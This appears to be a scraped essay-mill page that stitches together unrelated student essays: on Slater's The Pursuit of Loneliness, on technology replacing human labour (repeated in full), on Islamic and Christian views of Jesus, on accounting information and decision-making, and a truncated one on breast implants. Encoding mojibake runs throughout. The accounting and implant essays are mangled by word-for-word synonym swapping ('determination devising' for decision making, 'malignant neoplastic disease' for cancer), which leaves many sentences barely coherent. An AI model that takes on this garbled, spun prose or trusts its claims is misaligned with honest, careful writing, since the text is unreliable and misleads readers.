â€Å"Americans have voluntarily created, and voluntarily maintained, a society which increasingly frustrates and aggravates† them (8). Society’s uncontrolled development results in an artificial sense of scarcity which ensures â€Å"a steady flow of output† (78). Philip Slater’s The Pursuit of Loneliness :: Philip Slater Pursuit Loneliness Essays Philip Slater’s The Pursuit of Loneliness The purpose of Philip Slater’s book The Pursuit of Loneliness is to â€Å"reach some understanding of the forces which are unraveling our society† for his readers (xxii). It is a common conception that America is the best country, an idea which is substantiated by economic figures. However, Americans are not happy. According to Slater, â€Å"all societies frustrate certain human needs and satiate others (because) humanity and any particular society’s idea of what humanity should be is never very exact† (2). In America, the gap between reality and perception is growing farther and farther apart, at human expense. Americans work their entire lives for the future, in the pursuit of economic security, which ultimately leads to continued unhappiness in the present. American culture â€Å"struggles more and more violently to maintain itself, (but) is less and less able to hide its fundamental antipathy towards human life and human satisfaction† (122). Sla ter’s book teaches people about the existence of the â€Å"wide gap between the fantasies Americans live by and the realities they live in,† in the hopes that this will inspire people to react in positive ways (xxiii). Cooperation played a major role in the development of homo sapiens as the dominant species on earth. Americans do not understand its importance. It is understandable to place an extremely high level of importance upon self reliance in a dog eat dog society, but individualism has become fear and loathing of others. This motivates people to develop ways they can spend less time with each other. The ultimate expression of individualism, driving a car, illustrates the problem of denying â€Å"the reality of human interdependence† (30). â€Å"Some people can’t afford to heat their homes because we all want to ride expensive vehicles on crowded roads at high speeds, killing one another and polluting the atmosphere† (2). This situation cannot be repaired until we accept the inherent power in cooperation. â€Å"The more we try to solve our problems by increasing personal autonomy, the more we find ourselves at the mercy of these mysterious, impersonal, and remote mechan isms that we have ourselves created† (48). A large part of this problem is that many Americans buy into the ploys of capitalism, sacrificing happiness for material gain. â€Å"Americans have voluntarily created, and voluntarily maintained, a society which increasingly frustrates and aggravates† them (8). Society’s uncontrolled development results in an artificial sense of scarcity which ensures â€Å"a steady flow of output† (78).

Technology as a Replacement of Human Resources

Group-4 Technology as a replacement of human resources Muhammad bilal khan Uob # 11029363 Year ‘’0’’ 2 Contents: 1. 2. 3. Complete essay on â€Å"technology as a replacement of human recourses† (from page 3 to page5) Reference list on (page 6) Bibliography list on (page 6) 3 Technology as a replacement of human recourses Yes. Technology replaces human resources in every field of life. Before going into the details let’s understand ourselves that what is technology? And what are human recourses? According to the Wikipedia, Technology is the making, usage, and knowledge of tools, machines, techniques, crafts, systems or methods of organization in order to solve a problem or perform a specific function. It can also refer to the collection of such tools, machinery, and procedures (1). That explains the term technology comprehensively. If we look at the human resources then Wikipedia again define these as, Human resources is a term used to describe the individuals who make up the workforce of an organization, although it is also applied in labor economics to, for example, business sectors or even whole nations. Human resources is also the name of the function within an organization charged with the overall responsibility for implementing strategies and policies relating to the management of individuals (2). so this is the all story as for as terms are concerned. Now it’s better to go into the details. That how the technology is going to replace human resources. There are many fields under the huge influence of technology including mining, astronomy, military, robotics, shipping, agriculture, medical diagnosis, computer industry, education, transportation and many other fields. We will go into the details one by one extracting their background into the envelope of future prospective by considering the ground situation of the day as well. Mining is a field where now technology replacing human recourses pretty well. In past mining was carried out by human recourses only and the process contain much danger and require huge amount of money with a lot of time. But now with invention of different machines the scenario is completely changed. Mining is now a game of least danger. More profitable and time saving process. That indicates how technologies replace human recourses in mining. Astronomy is another field where technology dominates over human resources. By definition Astronomy is a natural science that deals with the study of celestial objects (such as stars, planets, comets, nebulae, star clusters and galaxies) and phenomena that originate outside the atmosphere of Earth (such as the cosmic background radiation). It is concerned with the evolution, physics, chemistry, meteorology, and motion of celestial objects, as well as the universe. Astronomy is one of the oldest sciences (3). In past people have no idea that what’s coming on next. Now by the invention of latest telescopes predictions are possible that benefits people a lot. e. g weather forecast prediction etc. In military prospective technology replace human recourses wonderfully. Now winning of a war is a second’s game with least damage. Modern weapons are introduced with 4 greater orientation of results. Invention of atomic bomb even changes the whole psychic of the war. Now the side with latest technology dominates over a side with numberless human recourses. The area where saying â€Å"technology as a replacement of human recourses† is fit perfectly is robotics. Robotics leading almost every branch of our life. Now you don’t care of anything if you have your own personal robot. It can do anything for you. Shipping and transportation are very commonly known fields. People use different ways of Transportation to move from one place to another. And shipping is also use to transfer things or masses across the globe. In old times people had no more options in this respect but now they have. Actually all this is due to technology that replace human recourses on continuous basis. Agriculture is an area that holds greatest human resources. But right now with the invention of modern technologies and in fact machineries like tractors, harvester, Beet harvester, harvester Carrot bin, Combine Conveyor and Corn Cotton pin (4-a) this field completely revolutionized. Now farmers getting benefitted by using modern machineries saving their time, investment and getting more profit. That put positive impact on their lifestyle as well. Another sub area of our lives is health. In past people suffering from different diseases had least options of their survival because of poor arrangements. But now with the arrival of modern techniques and instruments, technology not only replaces but in fact revolutionized the field of health sciences. By using latest techniques and instruments doctors understand the situation of the patients accurately. Here technology enhanced the expertise of human recourses. As everyone knows computers are all about the technology. From a microchip to a macro level hardware all is technology. With the arrival of computers, things changed in a fantastic way. Calculations, which were take hours and hours, now contracted in an interval of nano second. Computer software industry, also contributed in this respect. Software creates much ease for human beings. And their online availability makes them more attractive. People use e–mails for formal and informal contact. Instead of using letter with boring wait Finally the Education. Technology has a wide scope in education. Now a days almost every student aware of technology as a replacement of human recourses. We have a smart example in this respect where human recourses replaced by technology. According to an educational informational sit news. com. au, â€Å"Almost 30 robots have started teaching English to youngsters in a South Korean city† (5). This is a great development towards replacing human recourses by technology. Finally I have to say that technology in spite of its minor side effects yet it never disappoints us as a replacement of human resources. Let’s hope for the best. So many things are being invented in all the fields of our daily life and the jour ney is still going on†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 6 References and bibliography list list These are some of the web links which are used as reference in the essay (in the form of material) (1)_ http://en. ikipedia. org/wiki/Technology#Definition_and_usage (2)_ http://en. wikipedia. org/wiki/Human_resources (3)_ http://en. wikipedia. org/wiki/Astronomy (4)_http://en. wikipedia. org/wiki/List_of_agricultural_machinery (4-a)_lesson# 109 â€Å"simple and complex machines used in agriculture† Authors: Tonja Cargill Pamela Emery (5)_ http://www. news. com. au/technology/english-teachers-replaced-by-robots-in-koreainstitute-of-science-of-technology-project/story-e6frfrnr-1225977348809 ?—————————————————————— Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€-? Technology as a Replacement of Human Resources Group-4 Technology as a replacement of human resources Muhammad bilal khan Uob # 11029363 Year ‘’0’’ 2 Contents: 1. 2. 3. Complete essay on â€Å"technology as a replacement of human recourses† (from page 3 to page5) Reference list on (page 6) Bibliography list on (page 6) 3 Technology as a replacement of human recourses Yes. Technology replaces human resources in every field of life. Before going into the details let’s understand ourselves that what is technology? And what are human recourses? According to the Wikipedia, Technology is the making, usage, and knowledge of tools, machines, techniques, crafts, systems or methods of organization in order to solve a problem or perform a specific function. It can also refer to the collection of such tools, machinery, and procedures (1). That explains the term technology comprehensively. If we look at the human resources then Wikipedia again define these as, Human resources is a term used to describe the individuals who make up the workforce of an organization, although it is also applied in labor economics to, for example, business sectors or even whole nations. Human resources is also the name of the function within an organization charged with the overall responsibility for implementing strategies and policies relating to the management of individuals (2). so this is the all story as for as terms are concerned. Now it’s better to go into the details. That how the technology is going to replace human resources. There are many fields under the huge influence of technology including mining, astronomy, military, robotics, shipping, agriculture, medical diagnosis, computer industry, education, transportation and many other fields. We will go into the details one by one extracting their background into the envelope of future prospective by considering the ground situation of the day as well. Mining is a field where now technology replacing human recourses pretty well. In past mining was carried out by human recourses only and the process contain much danger and require huge amount of money with a lot of time. But now with invention of different machines the scenario is completely changed. Mining is now a game of least danger. More profitable and time saving process. That indicates how technologies replace human recourses in mining. Astronomy is another field where technology dominates over human resources. By definition Astronomy is a natural science that deals with the study of celestial objects (such as stars, planets, comets, nebulae, star clusters and galaxies) and phenomena that originate outside the atmosphere of Earth (such as the cosmic background radiation). It is concerned with the evolution, physics, chemistry, meteorology, and motion of celestial objects, as well as the universe. Astronomy is one of the oldest sciences (3). In past people have no idea that what’s coming on next. Now by the invention of latest telescopes predictions are possible that benefits people a lot. e. g weather forecast prediction etc. In military prospective technology replace human recourses wonderfully. Now winning of a war is a second’s game with least damage. Modern weapons are introduced with 4 greater orientation of results. Invention of atomic bomb even changes the whole psychic of the war. Now the side with latest technology dominates over a side with numberless human recourses. The area where saying â€Å"technology as a replacement of human recourses† is fit perfectly is robotics. Robotics leading almost every branch of our life. Now you don’t care of anything if you have your own personal robot. It can do anything for you. Shipping and transportation are very commonly known fields. People use different ways of Transportation to move from one place to another. And shipping is also use to transfer things or masses across the globe. In old times people had no more options in this respect but now they have. Actually all this is due to technology that replace human recourses on continuous basis. Agriculture is an area that holds greatest human resources. But right now with the invention of modern technologies and in fact machineries like tractors, harvester, Beet harvester, harvester Carrot bin, Combine Conveyor and Corn Cotton pin (4-a) this field completely revolutionized. Now farmers getting benefitted by using modern machineries saving their time, investment and getting more profit. That put positive impact on their lifestyle as well. Another sub area of our lives is health. In past people suffering from different diseases had least options of their survival because of poor arrangements. But now with the arrival of modern techniques and instruments, technology not only replaces but in fact revolutionized the field of health sciences. By using latest techniques and instruments doctors understand the situation of the patients accurately. Here technology enhanced the expertise of human recourses. As everyone knows computers are all about the technology. From a microchip to a macro level hardware all is technology. With the arrival of computers, things changed in a fantastic way. Calculations, which were take hours and hours, now contracted in an interval of nano second. Computer software industry, also contributed in this respect. Software creates much ease for human beings. And their online availability makes them more attractive. People use e–mails for formal and informal contact. Instead of using letter with boring wait Finally the Education. Technology has a wide scope in education. Now a days almost every student aware of technology as a replacement of human recourses. We have a smart example in this respect where human recourses replaced by technology. According to an educational informational sit news. com. au, â€Å"Almost 30 robots have started teaching English to youngsters in a South Korean city† (5). This is a great development towards replacing human recourses by technology. Finally I have to say that technology in spite of its minor side effects yet it never disappoints us as a replacement of human resources. Let’s hope for the best. So many things are being invented in all the fields of our daily life and the jour ney is still going on†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 6 References and bibliography list list These are some of the web links which are used as reference in the essay (in the form of material) (1)_ http://en. ikipedia. org/wiki/Technology#Definition_and_usage (2)_ http://en. wikipedia. org/wiki/Human_resources (3)_ http://en. wikipedia. org/wiki/Astronomy (4)_http://en. wikipedia. org/wiki/List_of_agricultural_machinery (4-a)_lesson# 109 â€Å"simple and complex machines used in agriculture† Authors: Tonja Cargill Pamela Emery (5)_ http://www. news. com. au/technology/english-teachers-replaced-by-robots-in-koreainstitute-of-science-of-technology-project/story-e6frfrnr-1225977348809 ?—————————————————————— Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€-?

Christianity and the Identity of Jesus Essay

Although Muslims believe in one God, as do Christians, they reject as heresy that this one God is three persons. For more detail on what Christians believe on this, see the slot we did on this a few weeks ago which is posted on our website. For now, let’s suffice to say that Muslims reject the idea of God being three in one. Especially, the Qu’ran (main holy book of Islam) is strong on saying that Jesus isn’t God; ‘Isa (Jesus) was simply a created human being, and a slave of Allah’ An-Nisa’ 4:172 Jesus is given great honour in the Qu-ran, his status as a prophet and as a miracle-worker, even as God’s Christ is strongly affirmed. But he’s not God. In contrast the Bible is adamant that far from being just a created being, that Jesus is God himself become a human being. ‘In the beginning was the Word, and the Word was with God and the Word was God†¦The Word became flesh and dwelt among us.’ John 1:1 and 14 The Islamic and Christian views of Jesus: a comparison The person of Jesus or Isa in Arabic (peace be upon him) is of great significance in both Islam and Christianity. However, there are differences in terms of beliefs about the nature and life occurrences of this noble Messenger. Source of information about Jesus in Islam Most of the Islamic information about Jesus is actually found in the Quran. The Quran was revealed by God to Prophet Muhammad (peace and blessings be upon him), and memorized and written down in his lifetime. Today, anyone who calls him or herself a Muslim believes in the complete authenticity of the Quran as the original revealed guidance from God. Source of information about Jesus in Christianity Christians take their information about Jesus from the Bible, which includes the Old and New Testaments. These contain four biblical narratives covering the life and death of Jesus. They have been written, according to tradition, respectively by Matthew, Mark, Luke and John. They are placed at the beginning of the New Testament and comprise close to half of it. Encyclopedia Britannica notes that none of the sources of his life and work can be traced to Jesus himself; he did not leave a single known written word. Also, there are no contemporary accounts written of his life and death. What can be established about the historical Jesus depends almost without exception on Christian traditions, especially on the material used in the composition of the Gospels of Mark, Matthew, and Luke, which reflect the outlook of the later church and its faith in Jesus. Below are the views of Islam and Christianity based on primary source texts and core beliefs.

Determining Alternative Courses Of Action Accounting Essay Essay Example

Determining Alternative Courses Of Action Accounting Essay Essay Example Determining Alternative Courses Of Action Accounting Essay Essay Determining Alternative Courses Of Action Accounting Essay Essay Accounting information based on the fiscal studies for illustration, are really important for the concern proprietors as they can supply assorted information whether by quantitatively or even qualitatively. From the fiscal study, we can acquire the information by pull outing them from the accounting procedure such as recording, coverage and fiscal minutess. Accounting information is one of the tool for the man of affairs as they can utilize it to better their company s scheme public presentation and expression for ways to better current concern operations. Furthermore, they besides can make their end that is maximising the net income but with minimize cost. Fiscal accounting normally represents the company s public presentation, entire fiscal minutess such as gross, cost, disbursals in the fiscal statement and assets and liabilities in the balance sheet. The direction frequently prepare this fiscal information to reexamine how good their company generates net incomes from the sum of concern outgos. From this information, they will do a budget for the following twelvemonth running cost. Accounting information has quantitative and qualitative features. Quantitative features are the computation of fiscal minutess while qualitative features include the company s sensed importance of fiscal information. The direction particularly the top one frequently require fiscal information when doing concern determinations. Incorrect information can hold a major impact on the decision-making or do the direction to do wrong appraisals about their companies. Qualitative Features Qualitative research gathers information that is non in numerical form.A Qualitative information is normally descriptive informations therefore it is harder to analyse than quantitative informations. Figure 1 shows the qualitative features, presented in hierarchy signifier of their sensed importance. The chief focal point, as stated in the first construct statement is onA determination utility that is the ability to be utile in determination making.A The significance of comprehensibility is users must understand the information or cognition within the context of the decision-making. This is a user-specific quality because users will differ in their ability to grok any set of information Figure: Hierarchy of Desirable Features of Accounting Information Figure 1 Primary Qualitative Features For primary determination, the critical qualities that make accounting information utile are ( one ) relevancy and ( two ) dependability. No affair how dependable the information are but non relevant to the determination at manus, it is still useless. Contrariwise, relevant information is of small value if it can non be relied on. Below are the constituents that make those qualities desirable: I ) Relevance In order to do a difference in the determination procedure, information must have prognostic value. Normally, utile information will have both of the qualities. For illustration, if net income and its constituents verify investor outlooks about future positive cash-flow ability, so net income has feedback value for investors. Seasonableness is besides one of the of import constituents of relevancy. Information is considered as seasonably when it is available to users every bit shortly as possible to let the information to be used in the determination procedure. The indispensable for timely information requires that companies provide information to external users such as the investor on a periodic footing. The Security Commission ( SC ) requires its registrants that is the companies to subject fiscal statement information non merely on an one-year footing, but quarterly for the first three quarters of each financial twelvemonth excessively. two ) Dependability Dependability is the point to which information is impersonal, verifiable, and besides representationally faithful. Verifiability means a consensus among different measurers. For case, the historical cost of a piece of land to be reported in the balance sheet is normally extremely verifiable. The cost can be tracked to a dealing, the purchase of the land. However, the market monetary value of that land is much more hard to verify. The term objectiveness frequently linked to verifiability. The historical cost of that land is nonsubjective but the land s market value is subjective as it is influenced by the measurer s past experience and prejudices. A subjective measuring is difficult to verify, which makes it more hard for users to trust on. Representational fidelity exists when there is an understanding between a step and the phenomenon it purports to portray. For illustration, assume that the term stock list in a balance sheet of a retail company is understood by external users to stand for points that are intended for sale in the ordinary class of concern. If stock list includes machines that are bring forthing the stock list, so it lacks representational fidelity. Reliability assumes the information being relied on is impersonal with regard to parties perchance affected whether they are the internal or external parties. Therefore, neutrality is extremely related to the initiation of accounting criterions. Accounting criterions should be established with overall social ends and specific aims in head and should avoid prejudices by attempt non to prefer peculiar groups or companies. The qualities of relevancy and dependability frequently conflict with each other. For case, a net income prognosis provided by the disposal of a company may possess a high grade of relevancy to investors and creditors who are seeking to foretell future hard currency flows. However, a anticipation needfully contains subjectiveness in the appraisal of approaching events. Secondary Qualitative Features As for the secondary qualitative, the features are ( one ) comparison and ( two ) consistence and they are of import for determination devising. Comparability is the ability to assist users see resemblances and differences between events and conditions. Closely connected to comparison is the impression that consistence of accounting patterns over clip licenses valid appraisals between different time-frames. The prognostic and feedback value of information can merely be enhanced if users can compare the public presentation of a company throughout the clip. Quantitative Features Figure 2 shows the types of quantitative information in accounting. Figure 2 Quantitative information is information which is expressed in figures or Numberss. For illustration, a sale dealing can be expressed in figure when Jacob purchased goods from the concern. To be more specific, the dealing can be expressed as Jacob purchased goods from the concern for RM2, 000. Accounting information is the information which can be expressed in pecuniary sum. Under it are the three chief constituents which are: I ) Financial information Fiscal information is accounting information that can be utile for directors or other external parties for determination devising. two ) Operating information Operating information are information which are required to cognize daily runing minutess. three ) Management information Management information is the information which is meant for the directors of the company merely. Qualitative informations is non nonsubjective therefore it can non be faithfully verified. On the contrary, quantitative informations can be verified frequently by seeing the grounds on paper that the information is accurate. For illustration, a company s information system recorded that one of their client said that they liked the spirit of the ice pick in vanilla. The information user would happen it really hard to turn out that that client truly said that. On the other manus, the cost of natural stuffs entered in the accounting records can be proven against the information on the bills received from the providers. However, the direction should non curtail them from treating fiscal and other quantitative informations. They need to be more flexible, acute to encompass new beginnings of informations that can enable them to supply better information. Part 2 ( two ) Decision devising is the thought procedure of choosing a logical pick from the available options. When seeking to do a good determination, a individual must burden the positives and negatives of each option, and see all the options. For effectual determination devising, a individual must be able to calculate the result of each option every bit good, and based on all these points, determine which option is the best for that peculiar state of affairs. Figure 3 shows the six stairss taken in order to do determinations. Figure 3 Measure 1: Identifying the job The most of import measure in any determination devising procedure is depicting why a pick is called for and placing the most wanted effects of the determination devising procedure. The first thing that needs to make is province the underlying job that has to be solved. After the determination has been made, the coveted result must be stated clearly. This is one of the good ways to get down since by saying your ends would assist you in clear uping the ideas. Measure 2: Determining alternate classs of action The state of affairs of doing a pick arises because there are many replacements available for it. Hence, the following measure after the earliest 1 is to province out the options available for that state of affairs. The key to this measure is: make non restrict or curtail yourself to typical options or what has worked in the past but to be unfastened to new and better options. This is indispensable as the solutions sometimes can come out from these out-of-the-box thoughts. In order to work out this job, you need to make adequate research to come up with the superb facts. Measure 3: Analyzing the options It is common if you find positive or negative cones at the same clip for each of the option during the ratings. It is unusual to happen one option that would wholly decide the job and is caputs and shoulders better than the remainder. While sing both pros and cons in each option, you must be careful to distinguish between what you know as a fact or what you believed to be go oning. The determination shaper will merely hold all the facts in little instances. People ever complement what facts they have with premises and beliefs. This difference between fact-based rating and non-fact-based rating is included to help the determination shaper in developing a assurance mark for each replacement. The determination shaper needs to specify non merely what consequences each replacement could give, but how likely it is that those consequences will be realized. The more the appraisal is fact-based, the more confident he can be that the predictable result will happen. Measure 4: Choosing the best options Choosing the best option is the phase where all of your difficult work that you have put in analysing would take to a proper determination. This process would assist you with clearly looking at the available options and have to take whichever you think is the most relevant. You can besides club some of the options to come out with a better solution alternatively of merely picking out any of them. When the determination shaper is working in a squad environment, this is where a proposal is made to this squad, complete with a clear description of the job, a clear list of the replacements that were considered and a clear principle for the proposed solution. Measure 5: Implement the determination While this might look obvious, it is necessary to do the point that make up ones minding on the best option is non the same as making something. The action itself is the first existent, physical measure in altering the state of affairs. A determination merely counts when it is applied. This is a really critical measure as all people that involved in the execution of a solution should cognize about their effects. This is really indispensable for the determination to give successful consequences. Measure 6: Measure the determination Decision doing process does non stop with merely doing a determination and implementing it. The determination made and besides that have been implemented must be monitored on a regular basis. At this phase, you have to maintain a close oculus on the advancement made by using the solutions. You besides need to mensurate the consequences of executions against your expected criterions. Monitoring the solutions from the beginning phase may besides assist you to change your determinations if you notice divergence of consequences from your outlooks. At first, these stairss may look really composites but these are the of import decision-making methods that would steer you in the taking right determinations in your personal every bit good as professional life. Furthermore, decision-making is a on-going procedure and will neer come to an terminal. The Impact of Qualitative Characteristics in The Decision-Making Procedure Representational Faithfulness In the flow procedure, whether that description is a faithful representation of the relevant state of affairs, including stand foring the point, being faithful in that representation, and being impersonal and verifiable are taken to consideration. This procedure is besides iterative ( the repeat of a procedure ) by happening that a description is non a faithful representation triggers a hunt for other possible relevant descriptions, which might be a different description of the same phenomenon or a description of a different phenomenon. If other portraitures are possible, the procedure demand to be reversed in order to pick from the other descriptions the following most relevant 1. If no faithful representation of a relevant phenomenon can be established, that could be the terminal of the procedure as there is no point in describing information. Lapp goes to a relevant state of affairs, if that information is unobjective or colored averment. Alternatively, the procedure could go on t o the following measure if the absence of faithful representation is disclosed in the fiscal study merely if the information that is relevant but is inescapably non-representative biased, unfaithful, or unobjective and it is better than no information at all. Comparison The following component to take for consideration in the procedure is to measure whether the word picture of the point is comparable. Comparison is the characteristic that allows users of fiscal studies to place similarities in and differences between the economic state of affairss of the company s studies seeking to portray. The intent of consistence is to accomplish comparison which means that consistence must come to an terminal, whereas comparison is the coveted terminal. Any comparison consideration must come after relevancy and faithful representation. If economic state of affairs are irrelevant to users of fiscal statements, or the portraiture of an point does non dependably stand for real-world economic state of affairs so there is no demand to see comparison since irrelevant phenomena and word pictures that are non a faithful representation are unuseful for decision-making. Comprehensibility The following component for consideration in the procedure is whether the dependably representative and comparable word picture of the phenomenon with prognostic or collateral value is apprehensible. Comprehensibility is the quality of information that allows users who have knowledge in concern, economic, accounting and who study the information with sensible diligence to understand its significance. Understandability is improved when information is gathered, classified, characterized, and presented in a clear and concise mode. Correct information should non be excluded as it is excessively complex or hard for some users who does non has the required cognition to understand. Understandability calls for a different iterative procedure than the other qualities. To supply a non-understandable portraiture of an event is unbearable. That would blow the users clip and perchance misinformed them, and it is wholly evitable by criterions that call for apprehensible information and due attention in put to deathing those criterions. Therefore, the procedure needs to better the word picture until it is apprehensible. Comparability Including with Consistency Comparability besides needs to be considered at the summational degree. The focal point is on the mode in which the sum of points is presented. In many instances, this will ensue in exposing points in a consistent mode. However, consistence should non be applied blindly, to the loss of improved relevancy, faithful representation or comprehensibility. If the collection does non demo affairs in a comparable manner, the procedure calls for consideration of alternate ways of collection. For illustration, if information on disbursals totaled by map such as cost of gross revenues and selling is judged to hinder comparison with other entities that aggregate otherwise, the option of collection by nature such as purchased goods, wages and involvement might be considered. Comprehensibility, Including Bing Clear and Concise The following measure is to measure the comprehensibility of the aggregative presentation. To be more precise, to measure whether the overall show and revelation of the reportable point is clear and concise. Bing concise means contracting down what is reported so that what truly affairs is non covered by immaterial information. Standard compositors and preparers need to maintain in head that the accretion of information must be balanced with supplying equal information such that the significance of the information is delivered. In some instances, more information will be needed instead than less. While in other state of affairss, less information might be more apprehensible. If information is non apprehensible because it is obscure, so consideration should be given as to whether there is a better manner to portray the information for illustration usage of a list or chart alternatively of a paragraph. Descriptions written in simple linguistic communication are by and large more apprehensible to more users than those that include legal or industry-specific nomenclature. An option that is more clear and concise could ensue in a bigger figure of users understanding the information. After an option is established, so the procedure needs to look into the completeness, comparison and faithful representation of the new accretion. This procedure calls for heightening the word picture until it is apprehensible. Seasonableness Seasonableness is doing information accessible to determination shapers before it loses its capableness to act upon their determinations. If the information merely available after the clip of determination devising, it has no capableness to act upon that determination and therefore deficiencies relevancy. By utilizing timeliness entirely can non do information relevant, but a absence of seasonableness can rob information of relevancy it might otherwise hold had. Some propose that seasonableness might intend whether the information was current or dated. For case, whether points are measured based on present or historical monetary values. However, most forces understand that portion of a different facet of relevancy such as how much prognostic value or confirmatory value the information delivers. Many would state that information based on current monetary values or market monetary values has more prognostic value and some would state it has more collateral value than information based on historical monetary values. However, some might concerned that insisting on seasonableness might except valuable but dated pieces of information that came to light tardily for illustration find of an old claim. Seasonableness comes into drama merely at the terminal of the collection procedure that produces the fiscal study. If the procedure takes excessively long, the whole work may be wholly wasted as the investing or recognition determinations may already hold been made without the aid of the fiscal study. Immediate studies of flawed information are likely to be less utile than slightly delayed studies of information without such defects.

Breast Implants Essay Research Paper Breast Implants

Breast Implants Essay, Research Paper Breast Implants One of the first utilizations of silicone in a medical implant came in the signifier of lifesaving tubings implanted into immature kids to funnel extra fluid from the encephalon into the chest pit, where the fluid could be safely metabolized and excreted. Since these # 8220 ; shunts # 8221 ; were foremost used, in the late fiftiess, silicone in assorted signifiers has come to be an of import portion of many implants. # 8220 ; It is used in tracheostomy tubings, in unreal lenses for the oculus, in unreal bosom valves and in facial implants for birth defects or re-constructive surgery after malignant neoplastic disease # 8221 ; ( Ames 1 ) . The most widely used execution of silicone is through chest re- constructive surgery through elected surgery of an person, or re- constructive surgery to replace chests due to adult females retrieving from mastectomies from chest malignant neoplastic disease or assorted types of accidents. The early history and usage of implants showed no sick effects of the usage of paraffin or silicone. Because of this freshly developed surgical procedure and comparatively small usage of FDA guidelines there was no comprehensive testing done to guarantee the extreme safety of a silicone receiver. By this clip the 1000000s of adult females throughout the universe who already had Dow # 8217 ; s silicone prosthetic device implanted into their chests had no thought of the dramatic wellness hazards. Because of these possible wellness hazards, adult females should avoid the usage of chest implants. In 1976, Congress gave the FDA authorization to modulate chest implants. By this clip chest implants had been in usage for a important sum of clip and were considered # 8220 ; grandfathered. # 8221 ; This means that they were allowed to stay on the market, even though they hold non gone through rigorous testing. The FDA felt there was no grounds to substantiate that the implants were harmful. Furthermore Congress besides gave the FDA the power to travel back and necessitate industries to supply cogent evidence that the implants were so safe and effectual, if it was felt that there was a ground to make so. ( Bruning 7 )# 8220 ; In 1977, Richard Mithoff, a Houston lawyer, wins the first case for a Cleveland adult female who claims that her ruptured implants and subsequent operations had caused hurting and agony. She receives a $ 170,000 colony from Dow Corning. This instance received small promotion # 8221 ; ( Frontline 1 ) . Since this instance received small attending adult females from all walks of life still continued to seek out decorative surgery. In 1982 the # 8220 ; FDA proposed to sort silicone chest implants into a Class III class that would necessitate makers to turn out their safety in order to maintain them on the market # 8221 ; ( Frontline 2 ) . It wasn # 8217 ; t until 1990 that heavy media exposure began to unveil the possible links between silicone chest implants and assorted types of toxic upsets. Connie Chung of Face to Face of this same twelvemonth confronted Dow Corning executives who vehemently denied any nexus to toxic disease from their silicone implants ( Frontline 2 ) . For better or worse, we live in a society that puts great accent on visual aspect. This penchant seemingly knows no boundaries. In the 1940 # 8217 ; s,# 8220 ; Nipponese cocottes had their chests injected with substances such as paraffin, sponges and non-medical class silicone to enlarge their chests, believing that American military mans favor adult females with big chests # 8221 ; ( Frontline 1 ) this is the instance today as-well. During the 1960 # 8217 ; s chest implants made a roar as adult females discover that at that place rolls in the occupation market can be increased by the manner they look. With the aid of the sexual revolution adult females besides found it delighting to make a better them through chest expansion. Not merely was there a desire for adult females to seek this type of elected surgery, but prosthetic medical usage for chest implants was increasing dramatically from adult females enduring from chest malignant neoplastic disease. Many adult females have conflicting images of their chests. On the one manus, chests are symbols of beauty, gender, and fostering ; on the other, they are troublesome variety meats that are progressively likely to endanger adult females # 8217 ; s lives. In the United States the likeliness that a adult female will be found to hold chest malignant neoplastic disease has easy and inexorably mounted since the 1930s, when some systematic informations aggregation began. The addition in diagnosings, already a cause for concern, accelerated in the 1980s, turning by a rate of four per centum a twelvemonth. This twelvemonth, harmonizing to the American Cancer Society, some 184,300 adult females will detect that they have the disease ; another 44,300 will decease of it. Of the adult females in whom malignant neoplastic disease is diagnosed, 9,200 will non yet be 40 # 8211 ; about twice the figure of adult females under 40 who were found to hold chest malignant neoplastic disease in 1970. # 8220 ; The disease is now the taking cause of decease for American adult females aged 40 to 55, and causes adult females to lose more old ages of productive life than any other disease. Numbers like these are why breast malignant neoplastic disease is frequently called an epidemic # 8221 ; ( Plotkin 2 ) . Silicone as a man-made plastic was foremost developed in the 1930 # 8217 ; s. It contains silicone, a natural stuff, combined with C, H, and O that have been polymerized, a procedure in which molecules are combined to signifier more complex molecules. Silicone can be processed into three signifiers: a gel, a solid like compound known as elestomer, and a fluid. Early chest implants were made of polyurethane froth, paraffin, steel, R / gt ; and transplants of human tissue. These were non successful and when the first chest implant became available in the 1960 # 8217 ; s through Dow Corning, they were held as a discovery. Although an betterment, the first silicone implants had jobs every bit good. Gradually the merchandise improved. # 8220 ; With the coming of silicone gel, implants felt softer and looked more natural # 8221 ; ( Bruning 6 ) . With the development of the silicone implant at that place came about several options besides silicone. These options include gel-filled implants ( the most frequent type used ) , saline-filled implants, and dual lms implants. Some have outer shells that are textured or coated. Since extended research had been conducted on the development of man-made implants and decorative surgery clinics have become progressively popular and economically low-cost, adult females have sought out these clinics in droves. This enabled adult females to experience more confident about themselves and gave them a feeling of higher employability. For illustration, we see many adult females in the film and telecasting industry who have opted for a more good developed chest. These adult females such as Pamela Anderson Lee, La Toya Jackson, Helen Hunt, Lonnie Anderson and Dollie Parton merely to call a few, have had really successful callings non merely because of their playing or vocalizing abilities, but because of a better endowed organic structure. On a recent episode of the WB plan Judge Judy that aired on November 12, 1996, the former actress known as Roz Kelley of Happy Days celebrity was contending a determination of a jurisprudence suit about her chest implants which she claims has caused Arthritic disease. Ms. Kelley claimed that her celebrity was based entirely on her visual 